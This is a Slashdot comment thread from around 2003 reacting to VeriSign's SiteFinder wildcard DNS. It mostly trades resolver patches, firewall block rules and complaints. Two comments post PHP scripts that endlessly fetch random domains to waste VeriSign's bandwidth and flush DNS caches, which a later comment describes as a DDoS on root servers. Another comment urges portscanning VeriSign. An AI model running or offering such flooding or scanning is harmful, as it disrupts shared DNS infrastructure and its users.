  113. block them by TheGratefulNet · · Score: 1
    with bsd's ipfw firewall rule:

    00010 deny log logamount 10 ip from 12.158.80.10 to any

    and also in /etc/hosts:

    127.0.0.1 sitefinder.verisign.com

    --

    --
    "It is now safe to switch off your computer."
    1. Re:block them by gerardrj · · Score: 1

      The problem here is that this doesn't stop the DNS server from responding with a seemingly authoratative reply. It just changes WHICH server/machine will send you the "connection refused" message when you try to connect.

      Sure the sitefinder web page is a travesty, but the larger (and core) problem is that an IP address is being returned when a "not found" should be.

      --
      Article X: The powers not delegated... by the Constitution...are reserved...to the people
  114. Simple DNS has just added this feature by John3 · · Score: 1

    JH Software has just added this IP exclusion feature to theis Simple DNS product.

    --
    "We make our world significant by the courage of our questions and by the depth of our answers." Carl Sagan
  115. where do you want to go today? by TheGratefulNet · · Score: 1

    sigh, it seems veriscum had taken the infamous M$ motto too literally..

    --

    --
    "It is now safe to switch off your computer."
  116. Because it is a *useful* patch? by Anonymous Coward · · Score: 0

    Compare the patches. This is a much better solution than simply mapping an IP to NXDOMAIN.

  117. true, can we slap verisign, and take away the TLD? by LostboyTNT · · Score: 1

    yes, very true, but microsoft did it, as well as they could..

    I believe that as punishment for doing this, .com and .net should be removed from verisign's authority. (mebe THAT'll learn em..)

    --
    LostboyTNT MercyHosting.Com

    Server-Status.Com

    50Bux.Com

    TLDR.Com

  118. DJBDNS patch by ansible · · Score: 1

    The 2nd version of the patch for DJBDNS, which has instructions inside is at:

    http://tinydns.org/djbdns-1.05-ignoreip2.patch

  119. Filtering wildcard records by m.koch · · Score: 1

    Regarding BIND, wouldn't it be the proper solution to simply reject A and MX records, which resolve to a wildcard result, at least for TLDs? As "ping *.com" shows, there's a non-static way to match these IPs.

  120. Admins favoring their friends by pexor · · Score: 0, Flamebait

    I like how the Slashdot admins rejected the story I submitted yesterday afternoon, then accepted the story submission from someone else. Well done, Slashdot.

  121. Re:For Windows Users by Dr.Zong · · Score: 2, Informative

    Yeah, how exactly IS this going to help??? Who modded this person informative?

    It will only work if you manually try and goto sitefinder.verigisn.com (www, ping, trace, whatever).

    Do you really understand how DNS works? If I make a query to iudsbfkjdf.com, verisign redirects me to their IP using the wildcard 'A' record, in which the webpage at that IP CLAIMS to be www.iudsbfkjdf.com.

    Adding that to hosts will only redirect you to (in your stated case - google) if you attempt to connect to sitefinder.verisign.com.

    --

    Party?!? What kind of party is this? Where's the damn keg?
    Virtus Junxit Mors Non Separabit
  122. it's like MS's Search from address bar by LostboyTNT · · Score: 1

    no, that's just a 'feature' of internet explorer. (if you could call it that)

    it's called 'search from the address bar, it's an option under tools, options, advanced.

    it does the same type of thing (baybe that's where they got the idea.)

    --
    LostboyTNT MercyHosting.Com

    Server-Status.Com

    50Bux.Com

    TLDR.Com

  123. here's the fix (BIND 9) by Anonymous Coward · · Score: 0

    You can do it right now with BIND 9:

    http://www.isc.org/products/BIND/delegation-only .h tml

  124. Actually, I find this new behavior quite useful... by Dave21212 · · Score: 2, Funny
    --
    "Whoever would overthrow the liberty of a nation must begin by subduing the freeness of speech."--Benjamin Franklin
  125. I called their number and got this... by mdamaged · · Score: 5, Informative

    I got a rep on the line and he seems oblivious of what was going on, after a bit I got a superviser and she gave me this email telling me that this is where the complaints are going to:

    sitefinder@verisign-grs.com

    --
    Someone asked me the difference between ignorance and apathy, I told them I don't know and I don't care.
    1. Re:I called their number and got this... by jhunsake · · Score: 1

      Which of course is delivered to /dev/null!

  126. Re:Sign the online petition to get ICANN into acti by Anonymous Coward · · Score: 0

    Wow! Great idea! And while we're at it, why don't we ask Jesus Christ to come down from heaven and smite them?
    Seriously, online petitions are as worthless as the paper they're not printed on.

  127. No help here by Anonymous Coward · · Score: 0
    I really wonder why more people haven't mentioned OpenNIC (an alternate root authority) yet...

    Not an alternative .com or .net authority, though.

    1. Re:No help here by MenTaLguY · · Score: 1

      > Not an alternative .com or .net authority, though. ...you know, you're right.

      Weird. I don't know why I'm not affected by this then...

      --

      DNA just wants to be free...
  128. Re:could NOT care less you idiot by Stonent1 · · Score: 1

    I thought it was SPoiled hAM.

  129. Re:could NOT care less you idiot by not-folly · · Score: 1

    I always thought that SPAM was an acronym.

    S cientifically P roduced A nimal M atter

    --
    Karma: Sucks (Mostly due to the fact that you suck)
  130. Re:could NOT care less you idiot by Stonent1 · · Score: 1

    Or possibly Spoiled Pork And Mucus. But whatever.

  131. Outstanding by n1k0 · · Score: 1

    I will upgrade the second this new version is available.

    -Nick

  132. We should all send them a message by doggkruse · · Score: 1
  133. Re:For Windows Users by gmack · · Score: 1

    But you do attempt to connect to sitefinder.verisign.com. The server at the first address issues a browser redirect. And that redirect goes to sitefinder.verisign.com http://sitefinder.verisign.com/lpc?url=foo.baddoma in.net&host=baddomain.net

    However this will only feed google or whatever you set it to a set of params it won't understand.. to make it really work you need a wrapper site somewhere. I doubt this guy has actually tested it.

    Unfortunatly still it doesn't fix the mail problem.

  134. Another petition, but to revoke Verisign's control by Anonymous Coward · · Score: 1, Interesting

    This is a more agressive petition than the one mentioned in another comment attached to this article: http://www.petitiononline.com/badnsi/petition.html "

  135. MOD THIS UP by Anonymous Coward · · Score: 0

    mod parent up

  136. Re:For Windows Users by Anonymous Coward · · Score: 0

    Better to use a firewall or router rule to redirect http requests at that address to a local error page, eh.

  137. Fight back by Anonymous Coward · · Score: 0

    Give em a call at their toll-free numbers:

    888-642-9675
    888-655-4636
    800-361-8319
    866-72 0-2304

  138. I am so angry by Medisilvanus · · Score: 1

    Yesterday SpamAssassin began to discard most of my mail. I understand why now; because of Verisign any ip address is now flagged as an open relay in unavailable DNS blacklists:

    SPAM: RCVD_IN_ORBS (2.2 points) RBL: Received via a relay in orbs.dorkslayers.com
    SPAM: [RBL check: found 4.184.36.158.orbs.dorkslayers.com., type: 64.94.110.11]

  139. Today's evil daemon by Anonymous Coward · · Score: 2, Interesting

    #!/usr/bin/php4 -q
    <?php
    chdir('/tmp/verislime');
    $charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW XYZ0123456789";
    while (true) {
    $str = 'wget http://www.';
    $len = rand(5, 24);
    for ($i=0; $i<$len; $i++) {
    $idx = rand(0,strlen($charset)-1);
    $str .= $charset[$idx];
    }
    $str .= ( ((rand()%2)==0) ? '.com' : '.net');
    system($str);
    }
    ?>

  140. Re:Is a Technology solution ALWAYS better than law by Merk · · Score: 1

    running_counter = 0
    if (dns_response points at sitefinder) {
    counter++
    return no such address
    }
    if (dns_response points at valid verisign site AND counter > 0) {
    counter--
    return no such address
    }

    In words: set things up so that for every person they misleadingly redirect to sitefinder, tell one person looking for a valid verisign site that the site doesn't exist.

  141. One more dnsmasq patch by hummassa · · Score: 1

    I sent to dnsmasq the following patch, to be applied over dnsmasq-1.15, so it accepts more then one address to ignore:

    diff -Nrub dnsmasq-1.15/dnsmasq.c dnsmasq-1.14/dnsmasq.c
    --- dnsmasq-1.15/dnsmasq.c 2003-09-16 16:51:08.000000000 -0300
    +++ dnsmasq-1.14/dnsmasq.c 2003-09-17 12:22:58.000000000 -0300
    @@ -60,7 +60,7 @@
    struct server *servers, *last_server;
    struct resolvc default_resolv = { NULL, 1, 0, RESOLVFILE };
    struct resolvc *resolv = &default_resolv;
    - struct all_addr bogus_addr;
    + struct all_addr *bogus_addrs = NULL;

    sighup = 1; /* init cache the first time through */
    sigusr1 = 0; /* but don't dump */
    @@ -80,7 +80,7 @@

    options = read_opts(argc, argv, dnamebuff, &resolv, &mxname, &mxtarget, &lease_file,
    &username, &groupname, &domain_suffix, &runfile,
    - &if_names, &if_addrs, &if_except, &bogus_addr,
    + &if_names, &if_addrs, &if_except, &bogus_addrs,
    &serv_addrs, &cachesize, &port, &query_port, &local_ttl, &addn_hosts);

    /* peerfd is not (by default) bound to a low port
    @@ -402,9 +402,9 @@
    continue; /* no sockets ready */

    if (peerfd != -1 && FD_ISSET(peerfd, &rset))
    - last_server = reply_query(peerfd, options, packet, now, dnamebuff, last_server, &bogus_addr);
    + last_server = reply_query(peerfd, options, packet, now, dnamebuff, last_server, bogus_addrs);
    if (peerfd6 != -1 && FD_ISSET(peerfd6, &rset))
    - last_server = reply_query(peerfd6, options, packet, now, dnamebuff, last_server, &bogus_addr);
    + last_server = reply_query(peerfd6, options, packet, now, dnamebuff, last_server, bogus_addrs);

    for (iface = interfaces; iface; iface = iface->next)
    {
    diff -Nrub dnsmasq-1.15/dnsmasq.h dnsmasq-1.14/dnsmasq.h
    --- dnsmasq-1.15/dnsmasq.h 2003-09-16 17:06:04.000000000 -0300
    +++ dnsmasq-1.14/dnsmasq.h 2003-09-17 12:33:39.000000000 -0300
    @@ -218,7 +218,7 @@
    char **username, char **groupname,
    char **domain_suffix, char **runfile,
    struct iname **if_names, struct iname **if_addrs, struct iname **if_except,
    - struct all_addr *bogus_addr, struct server **serv_addrs, int *cachesize,
    + struct all_addr **bogus_addrs, struct server **serv_addrs, int *cachesize,
    int *port, int *query_port, unsigned long *local_ttl, char **addn_hosts);

    /* forward.c */
    @@ -231,7 +231,7 @@
    time_t now, unsigned long local_ttl);
    struct server *reply_query(int fd, int options, char *packet, time_t now,
    char *dnamebuff, struct server *last_server,
    - struct all_addr *bogus_nxdomain);
    + struct all_addr *bogus_nxdomains);

    /* network.c */
    struct server *reload_servers(char *fname, char *buff, struct server *servers);
    diff -Nrub dnsmasq-1.15/forward.c dnsmasq-1.14/forward.c
    --- dnsmasq-1.15/forward.c 2003-09-16 17:06:49.000000000 -0300
    +++ dnsmasq-1.14/forward.c 2003-09-17 12:33:48.000000000 -0300
    @@ -210,7 +210,7 @@

    /* returns new last_server */
    struct server *reply_query(int fd, int options, char *packet, time_t now,
    - char *dnamebuff, struct server *last_server, struct all_addr *bogus_nxdomain)
    + char *dnamebuff, struct server *last_server, struct all_addr *bogus_nxdomains)
    {
    /* packet from peer server, extract data for cache, and send to
    original requester */
    diff -Nrub dnsmasq-1.15/option.c dnsmasq-1.14/option.c
    --- dnsmasq-1.15/option.c 2003-09-16 17:04:17.000000000 -0300
    +++ dnsmasq-1.14/option.c 2003-09-17 12:32:56.000000000 -0300
    @@ -128,7 +128,7 @@
    char **mxname, char **mxtarget, char **lease_file,
    char **username, char **groupname, char **domain_suffix, char **runfile,
    struct iname **if

    --
    It's better to be the foot on the boot than the face on the pavement. ~~ tkx Kadin2048
    1. Re:One more dnsmasq patch by hummassa · · Score: 2, Informative

      replace

      while( bogus_addrs[i].addr.addr4.s_addr != (in_addr_t)-1 )

      with

      while( bogus_addrs[n].addr.addr4.s_addr != (in_addr_t)-1 )

      or you'll be sorry.

      --
      It's better to be the foot on the boot than the face on the pavement. ~~ tkx Kadin2048
  142. Inevitable by randolfe · · Score: 1

    Although I agree, in principle, that what Verisign has done with SiteFinder (and other) services is a general diservice to the Internet, I fear this is only the beginning. The Internet is becoming, as we all knew it would, a public media. Now I know every geek reading that last sentence immediately reacts 'it is a public media, dufus'.

    But wait, I mean big-P Public. The folks who watch Joe Millionaire Public. The folks who think that Iraq caused Sept. 11, and further think that Iraq is located next to Ireland, Public. This is where the Internet is headed.

    And to this subject, what does that mean? It means that they don't want an error message if they mistype a URL. A handy search page with advertisements on it gives Joe Q Public a warm feeling that someone is taking care of things.

    Look for this, and other wonderful standardizations in the future. ...now back to your normally scheduled geek-wringing-of-hands ranting...

    (if you don't like this outcome, then think Education; we reap what we sow)

  143. Re:Sqatting by john_uy · · Score: 1

    .ph is also doing this. it is very annoying as their service breaks dns resolution as well. also, they website is slow (and down most of the time.) instead of error messages, you get timeout when visiting the site.

    i can't wait for the government to take over the regulation of the .ph domain. although they are a private company (and monopolizes the entire .ph domain,) they should be responsible.

    --
    Live your life each day as if it was your last.
  144. Beginning of an arms race (aka Spam) by DDumitru · · Score: 3, Insightful

    This is more than a little troubling.

    The BIND patch is very simple and elegant. It relies on the particular technical method that Verisign used to implement their wildcard responses. But we can make some assumptions here.

    If Verisign truely believe they have the "right" to do whatever they want to do with the root zone files, they can easily circumvent the patch.

    One design that they might try is to take the inbound domain name, hash it, take a modulo of the hash and create a "fake" SOA and NS for that domain name on a unique IP address. With a pool of only several thousand real IP addresses they could create what looks like 100% real zones for everything. They could even send the traffic to one of many different IP addresses. This could be an arms race that never ends.

    The only "real" solution is that the root zone files must be "trusted".

    If Verisign refuses to change their behaviour then one of several things must happen.

    o ICANN / IANA must force them to
    o DOC must force them to
    o Private lawsuits must force them to
    o State AGs must force them to
    o Everying must blackhole "ALL" Verisign owned IP addresses and effectively take them off of the net.

  145. Re:For Windows Users by HiThere · · Score: 1

    Well, he said "or some other IP address", so you could use 127.0.0.1
    Which might not help much, but would spare you an ad.

    --

    I think we've pushed this "anyone can grow up to be president" thing too far.
  146. Re:Sqatting by Anonymous Coward · · Score: 0

    The .nu nic is pretty agressive about shutting down spammers.

    See their TOU at http://www.nunames.nu/about/terms.cfm

    "12. ACCEPTABLE USE ... You understand and agree that we reserve the right to revoke without refund any .NU name which, in our judgment, has been used for any unlawful purposes, including but not limited to child pornography, child entrapment or abuse, advocacy of hatred, bigotry or violence towards persons or groups on the basis of their religion, race, ethnicity, sexual orientation or other immutable characteristics, theft of E-mail service, or as a source of unsolicited bulk E-mail or as an address to use for replying to unsolicited bulk E-mail, or in violation of our policies with respect to spamming or otherwise abusing free search engine services (see above). "

  147. Re:For Windows Users by Anonymous Coward · · Score: 0

    try:

    127.0.0.1 sitefinder.verisign.com

    and you get the equivalent of the world b4 Verisign tried their futile attempt at hijacking my machine

  148. There is a third way ... by Anonymous Coward · · Score: 0

    " ... nuke them from orbit.
    It's the only way to be sure .."

    Private legal action is not the solution
    to this transgression. And since I don't
    have much faith in John Ashcroft's DoJ,
    the matter should be turned over to the
    various State's Attorney offices. IANAL,
    but the chances are slim that Verisign
    can be stripped of their monopoly (not in
    this pro-big-business administration).

  149. Re:Today's evil daemon, version 2 by Anonymous Coward · · Score: 0

    This one is a little better:

    #!/usr/bin/php4 -q
    <?php
    $charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW XYZ0123456789";
    while (true) {
    $str = 'wget --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" --output-document=/dev/null --recursive --level 1 --timeout 30 http://www.';
    $len = rand(5, 24);
    for ($i=0; $i<$len; $i++) {
    $idx = rand(0,strlen($charset)-1);
    $str .= $charset[$idx];
    }
    $str .= ( ((rand()%2)==0) ? '.com' : '.net');
    print $str."\n";
    system($str);
    sleep(rand(4, 20));
    }
    ?>

  150. Re:could NOT care less you idiot by greenhide · · Score: 1

    Say "I could care less" out loud. Listen to the intonation. It's a *sarcastic* statement, although subtly so. For further info, read Stephen Pinker's excellent Language Instinct, where among other things he dubunks this and other nonsensical grammar "no-nos."

    --
    Karma: Chevy Kavalierma.
  151. I thought it was a joke, but it's not by Anonymous Coward · · Score: 0

    Holy cow! You really can type in any crap and get the same response!

  152. Until then, you can block them with iptables by scrod · · Score: 1
    iptables -I OUTPUT -d 64.94.110.11 -j DROP
    iptables -I OUTPUT -d 12.158.80.10 -j DROP
    1. Re:Until then, you can block them with iptables by Ancil · · Score: 1

      Bad idea. By dropping the SYN (connection) packets, you force the browser to wait for a reply to a packet that never went out. That means 15 to 30 seconds of unresponsiveness. A better solution:

      iptables -I OUTPUT -d 64.94.110.11 -j REJECT

      This will bounce the packets with port unreachable (or you can select another error type).

  153. Snubby Mail Rejector Daemon v1.3 by anakog · · Score: 1
    It's a little late in this thread and I don't think many people will see this but I am posting it anyway since I found it quite amusing:

    telnet sadkfjsakasfhasd.com 25
    Trying 64.94.110.11...
    Connected to sadkfjsakasfhasd.com.
    Escape character is '^]'.
    220 snubby2-wceast Snubby Mail Rejector Daemon v1.3 ready
    BLA
    250 OK
    BLA
    250 OK
    BLA
    550 User domain does not exist.
    BLA
    250 OK
    BLA
    221 snubby2-wceast Snubby Mail Rejector Daemon v1.3 closing transmission channelConnection closed by foreign host.
  154. Offtopic by mdielmann · · Score: 1

    [joke]
    First off, I would appreciate it if you would put links to pr0n into a tag like everyone else.

    Secondly, how dare you talk about google that way?!?!
    [/joke]

    --
    Sure I'm paranoid, but am I paranoid enough?
  155. This is really old Network Solutions, not Verisign by Anonymous Coward · · Score: 0

    While Verisign owns NetSol, this appears to be coming from the Network Solutions part of the company. Network Solutions has sucked for a long, long time. I also think that Verisign is losing money on NetSol and wouldn't be suprised if they got rid of it, spun it off or just killed it.

  156. Personally, I called Verisign by Anonymous Coward · · Score: 0

    I called Verisign at 888-642-9675
    and told them what I thought about it. Their customer support rep of course had no clue - I gave her a bogus domain to look up and guess what? Their internal network returns a does not exist! I gave her the IP address that all domains are returning (64.94.110.11) and asked her to do an nslookup on it and she said that it wasn't a verisign server and gave me some other company name attached to that IP.

    So apparently, they force the WORLD to view their ads, but not their own employees.

  157. Better petition by kiddailey · · Score: 2, Informative

    Here is a much better petition entitled: "Stop Verisign DNS Abuse"

    1. Re:Better petition by vacuum_tuber · · Score: 1

      No, that one is broken. It doesn't accept new signatures and is stuck at 178.

      --
      Look at the bright side: there's always seppuku.
  158. Re:For Windows Users by dosius · · Score: 1

    Windows 98 users, write that line into c:\windows\hosts (it can be otherwise empty).

    -uso.

    --
    What you hear in the ear, preach from the rooftop Matthew 10.27b
  159. The problem is by PotatoHead · · Score: 1

    simple. Verisign is trying to change a very basic part of how the Internet works without following the process or without respect for any of the other member parts of the net.

    It is a rude, arrogant and selfish action that benefits only Verisign. I hope they suffer for it.

    You see, they are making money now, they just want more because they think they are in a position to get it. Nevermind the rest of the net...

    Until recently, changes to the core structure of the Internet were discussed and peer-reviewed via the RFC and other processes to be sure things were thought through somewhat before the changes are made live.

    Verisign did not do this. Nobody wants this but Verisign. Their action is going to cost the rest of the net a lot with no real gain. If they get away with this, how many other large companies are going to decide to just change things for their own good regardless of the rest of the net.

    Another point, this change affects other countries besides the US. We may be the biggest part of the net, but not all of the net. (China and Japan are gaining ground as you read this. You don't notice because their content is in a language other than English.)

    What gives them the right to affect everyone this way? Seems this move conflicts strongly with their image of (cough --gasp!) trust doesn't it?

    We could go back and forth on the technical nature of the change and what it should affect and what it should not, but the truth is this:

    Nobody really knows the true affect because the change is to core Internet behaviour. Think of all the applications and systems that assume the net works the way it does. Should they build in extra code for potential changes when they were not advised it might happen? What if the system were built 10 years ago?

    THATS WHY THEY NEED TO RFC JUST LIKE EVERYONE ELSE.

    As a result, I no longer use them for my root DNS. I suggest others do the same. If we can get a significant percentage of ISP services to recognize some of the other name services, Verisign will lose a lot of their current bully status. The net will be better for it.

    These days you hear the word 'monitize'. That means that somebody wants to make money off of something currently free to most folks. Just remember when you read that word, you are getting screwed by a company wanting to grow at your expense. --You will not be compensated.

    Also, where money flows, power does also. If something is monitized, it becomes owned by those closest to the money. What they say goes regardless of merit because they have the dollars and we don't.

    Is that how you want Internet is going to develop from now on? I sure don't.

  160. run port scans and get them to block you by MadAhab · · Score: 1
    Try running, say, nmap against verisignarescumsuckingpigs.com. Then try to connect: for a short time, you will be blocked.

    As far as I'm concerned, that's a pretty good way to deal with them. Just periodically portscan them. It would be nice to figure out if there's one single port (say, telnet, which shows up as "filtered") that you can use to get yourself blocked: send them a single packet every 5 minutes, and never reach them.

    --
    Expanding a vast wasteland since 1996.
  161. Re:Here is ISC's web page for delegation Only zone by Anonymous Coward · · Score: 0
  162. offtopic? i think not. by joe_bruin · · Score: 4, Informative

    i didn't write this the post above, but it is definitely not offtopic. here's a brief rundown of what it does:

    generates a random string of characters.
    performs a "wget" to look up that string as a domain name, and fetch the url returned and dump contents to /dev/null. obviously, this string (with appended .com) resolves to verisign's search page.

    this accomplishes two things. first, or course, is wasting verisign bandwidth. more interestingly, however, it causes dns servers upstream from you to cache the address of all these garbage domains. when their dns cache fills up, they start discarding older entries they have had in there. basically, this is forcing dns servers to constantly flush their caches of any useful data. this, in turn, makes every valid dns query have to cascade all the way down to the root servers. that is, "slashdot.org" is no longer cached in your isp's dns cache, so every user on you isp trying to get to slashdot is contributing to a DDOS of verisign's root servers.

    well done.

  163. Google by FiendBeast · · Score: 1

    I've found that using the Google Toolbar means I never have to see that Verisign crap anyway (and yes my DNS servers are up to date, when I use a browser other than my defaul I still see Verisign). Now I see Google's own site when something doesn't work. This works for me on WinXP IE6, your mileage may vary.

  164. Buydomains.com does it too by CitznFish · · Score: 1

    Buydomains.com has been pulling this crap for at least a year now. Every 404 URL I type in always leads to buydomains.com and their incessant pop-ups. Very frustrating. I hope Verisign gets the hint and stops their practice

    --
    'mmmmmmmmm.... forbidden donut'
    1. Re:Buydomains.com does it too by Anonymous Coward · · Score: 0

      That sounds more like a spyware/hijack problem.

    2. Re:Buydomains.com does it too by CitznFish · · Score: 1

      Nope.. all my home PC's do it. I even formatted and did a fresh install and still got the problem. I regularly use adaware and i never install any crap like Kazaa, jupiter, etc...

      --
      'mmmmmmmmm.... forbidden donut'
    3. Re:Buydomains.com does it too by Anonymous Coward · · Score: 0

      Like I said a hijack, only your ISP is doing it, this is NOT behaviour of normal clients, I have many clients and NONE goto buydomains on a 404, your isp could be feeding you that through dns or their dialer client (remember netzeros)(if you use one). Or it could be a transparent proxy at your isp, cable uses edge service which could easily do this.

      I am in mozilla now when I get a 404 it gives me the 404 the server was designed to give me, if I use IE it gives me the usual white genberal IE DNS/Other error page, not a domain seller.

      Adaware will not detect if your ISP is redirecting you.

    4. Re:Buydomains.com does it too by Anonymous Coward · · Score: 0

      And remeber a 404 is NOT a Host not found, when you type in a non existant domain you never get a 404 you get a hostname not found (pre-verisign mess).

      A 404 means you found the right host but not the right page, this thread is concerned with non existent hosts, not pages.

    5. Re:Buydomains.com does it too by CitznFish · · Score: 1

      the first thing I did was ask my ISP if they did this. Datastreet.com. They denied it. Since Datastreet uses PacBell lines I also asked PacBell. They too said No. So either someone is lying or there is something else going on.

      --
      'mmmmmmmmm.... forbidden donut'
    6. Re:Buydomains.com does it too by CitznFish · · Score: 1

      additionally, I know what adaware can and cannot do. I also know the difference between hijak and spyware. Since you mentioned BOTH in your first response I figured you'd be smart enough to know what i was referring to. Apparently you're not as smart as I gave you credit for.

      --
      'mmmmmmmmm.... forbidden donut'
    7. Re:Buydomains.com does it too by Anonymous Coward · · Score: 0

      Actually I wasn't insinuating nothing about you, I merley posted a reply, perhaps you have a guilty conscience.

      It is obvious from your other reply that you did not know what I was talking about because you neglected to post the fact you checked with your ISP in the first posted reply.

      It is obvious you are using a defensive posture to cover your ignorance, and your note regarding how "smart" I am?, I really doubt you can determine someones intellect based on what little was posted, for you see, I know the difference between a 404 and a Host not found and you my friend didn't.

      This entire thread had not a thing to do with 404s, and here you are posting about 404s, so perhaps I am not the smartest here, but I am sure I am light years ahead of you.

  165. Another bit of info... by mdamaged · · Score: 1

    This is just sad, this must be the start of this:
    http://www.verisign.com/corporate/news/2002 /pr_200 21217.html

    There's some phone numbers on the bottom of that too...

    --
    Someone asked me the difference between ignorance and apathy, I told them I don't know and I don't care.
  166. Miss the old days already? by metalligoth · · Score: 1

    For when you're old and gray and want to show your kids what happened before nonsense addresses, first go to a nonsense site.

    Then, go to this site, which is sure to become a favorite very quickly, for historical purposes.

    "See, son, this is what happened back before VeriSign took over the unregistered Net!"
    "Really, Dad?"
    Safari chirps: "Server not found."

  167. This patch violates the DMCA by Anonymous Coward · · Score: 0

    Can't help but think that left unchecked, somehow, someway, Verisign will find a way to bring the DMCA into the picture.

  168. Up and running by dalran · · Score: 1

    Patch downloaded, compiled, configured, installed, restarted..

    And it works ;-) off course there are only 10 users of my DNS, but it's a start!

  169. OB movie quote by wikthemighty · · Score: 1

    And the BIND solution is an excellent response in the spirit of the network

    Wouldn't that be, "I'm mad as hell and I'm not going to take it anymore!"

    --
    "There are people who do not love their fellow human being, and I _hate_ people like that!" - Tom Lehrer
  170. Re:could NOT care less you idiot by Blkdeath · · Score: 1
    Say "I could care less" out loud. Listen to the intonation. It's a *sarcastic* statement, although subtly so.

    It only sounds sarcastic because you think you're saying something you're not. If you "could" care less, you care to some degree. However if you "could not" care less, there is no degree of caring.

    It's quite simple, really. It all reminds me of the person who argued strenuously that the phrase "I haven't (ain't) got no money" was a statement designed to envoke sympathy for the poor sap's financial position. However, if one is in a condition whereby they do not have a zero sum of money, it is obvious that they do, in fact, have a sum of money.

    However Mr. Thorogood had to inform his landlady that he, in fact, had no money.

    --
    BD Phone Home!

    Shameless plug. Like you weren't expecting it.

  171. Strong language by lysium · · Score: 2, Insightful
    'Atrocity' is a heavy word for ruining the DNS system as we know it, when compared to the senseless killing of thousands. I hearby coin the term 'etrocity' (possible alternate: e-trocity) to fill this hole in our vocabulary.
    You're welcome.

    ==========

    --
    Together, we will drive the rats from the tundra.
  172. Free DNS by jerdenn · · Score: 1

    if you force me to tweek my DNS records (my ISP charges per change - yeah i know i should just run my own copy of BIND, but i don't want to worry about the uptime of a pair of DNS servers) i shall be forced to send you the bill :P

    So, use Granite Canyon.

    -jerdenn

    1. Re:Free DNS by Hes+Nikke · · Score: 1

      that looks cool... does it do reverse DNS as well?

      i might have to move my DNS :D

      --
      Don't call me back. Give me a call back. Bye. So yeah. But bye our, well, but alright we are on a shirt this chill.
  173. Re:Is a Technology solution ALWAYS better than law by eatdave13 · · Score: 1

    That's great, but I have an established .net domain. If I need to admin that domain, I need to go to a verisign site.

    Frustrating users is not the way to deal with this.

    --
    "Verbing weirds language." -- Calvin
  174. Norton Internet Security by metamatic · · Score: 1

    Yeah, Norton Internet Security and other similar programs explicitly block referer headers to protect the user's privacy.

    And it's not like nobody runs Norton.

    --
    GCHQ Quantum Insert installed. If only our tongues were made of glass, how much more careful we would be when we speak
  175. I think blocking by IP is better by metamatic · · Score: 1

    If you block by IP, it'll discourage them from trying any more tricks. If they switch the IP every day, and more and more of their IP addresses are permanently blocked from resolving on huge chunks of the Internet, sooner or later they'll run out of IP addresses. Which would be highly amusing.

    --
    GCHQ Quantum Insert installed. If only our tongues were made of glass, how much more careful we would be when we speak
  176. Patched BIND is an elegant solution by ayafm · · Score: 4, Informative
    I just installed the patched BIND 9.2.x for NodeWorks so it could keep finding dead links for customer sites. Without this kind of technical solution, I would have had to check for redirects to the sitefinder site, and added specific logic to mark the response as invalid since it would otherwise return a valid 200 HTTP response code.

    The new feature just needed this bit added to named.conf to get it working:

    zone "com" {
    type delegation-only;
    };
    zone "net" {
    type delegation-only;
    };
    When its running, it will put message like this to /var/log/messages so you can see it working!
    Sep 17 12:58:15 proxy named[1130]: enforced delegation-only for 'com' (www.asdfsdafs.com)
    Its really amazing that the open source community can turn around a patch like this within hours of the initial problem being reported! Not only that, but the implementation is clean and technically elegant.
  177. Previous Case Law by Anonymous Coward · · Score: 1, Interesting

    Companies that have had their competitors register slight misspellings of their name (ue instead of eu for one company I've worked with) have won lawsuits easily. Isn't this as simple as one of the other registration companies showing that a slight misspelling of their name like egister.com instead of register.com lands them at a Network Solutions site promoting DNS registration?

    I know they can argue that they're not doing the same thing, but the end result is the same. They may get business that should have gone to register.com.

  178. Isn't it ironic by phorm · · Score: 1

    So basically, anyone who pays verisign for this service is going to get bombarded with spam not only for their own domain, but for any of related-in-wildcard domains as well. I mean, domain name resolution is independent of the final protocol being used (www, ftp, etc), correct?
    So, now, spammers for mydomain.com mydoman.com mydo... etc are all going to end up getting mydomain.com.

    Are the spammers going to verify the domain, or perhaps some will just connect to the IP specified and spam away.

    In this case, which is better/worse, a few extra customers garnered from mistyped domain-names, or a whole lot more spam? Methinks the spam-bandwidth-usage will exceed the possible profitability of new customers. Nice business model, verisign!!!

  179. Database of patched nameservers by fo0bar · · Score: 1

    If anybody's still following this thread... I have thrown up a database of patched nameservers here (don't worry about arouse.net, it's not a porn site), which currently allows you to check to see if a nameserver has been patched to block return of 'A' results for non-existent domains, and allows you to add to the database if it is a patched server.

  180. Their web bug server must be having fun too... by Mryll · · Score: 1

    height="1" width="1" border="0" /></noscript>

  181. For what it's worth by rock_climbing_guy · · Score: 1

    I'm browsing /. from the University of Hawaii computer network and it seems that they have somehow blocked this. I know, because I can type a domain name wrong, and get an error message. Then, I can log into another machine somewhere else and the same mis-type gets redirected to Verisign.

    --
    Wh47 d1d j00 541, 31337 15n't t3h r0xor5 ne m0r3???
  182. RPMs here... by jd678 · · Score: 1

    RPMs here: http://www.denson.org.uk/bind. Binaries are for RH 7.3, so may break dependencies.

  183. Re:Is a Technology solution ALWAYS better than law by Merk · · Score: 1

    How quickly would you (and others like you) find another registrar if half the time you couldn't get to Verisign?

    Maybe you're "acceptable losses" in this war.

  184. Re:could NOT care less you idiot by jrockway · · Score: 1

    0xCAFEBABE wins here. Time for some yummy java!

    --
    My other car is first.
  185. Re:Is a Technology solution ALWAYS better than law by 1029 · · Score: 1

    Only if that number didn't already belong to somebody else. In which case you'd just get the wrong person, but not ads.

    --
    - I love animals. I try to eat at least one a day.
  186. Re:offtopic? i think not. by efti · · Score: 3, Insightful

    I don't see how DDoS-ing the root servers is going to solve this problem. A successful DoS attack against the root servers will just cause total mayhem as even legitimate domain names won't resolve any more.

    Well, actually I do see the point in doing just that, but are we prepared to destroy DNS in order to save it?

    --
    I signed up for a /. account and all I got was this crappy sig
  187. Re:could NOT care less you idiot by TiMac · · Score: 1

    Well it certainly beats 0xBEEFBABE , which I believe is defined as "a girl with too much cushion for the pushin' "

    --

  188. Re:For Windows Users by Thing+1 · · Score: 1
    It will only work if you manually try and goto sitefinder.verigisn.com (www, ping, trace, whatever).

    Heh, I would imagine if you attempted to connect to that particular site that you'd get an ad.

    --
    I feel fantastic, and I'm still alive.
  189. call Verisign and object to their wildcarding by chongo · · Score: 1
    In addition to a number of already posted suggestions, I recommend that you call Verisign and file a complain:

    +1 703-742-0914 (worldwide)
    +1 888-642-9675 (toll free US/Canada)

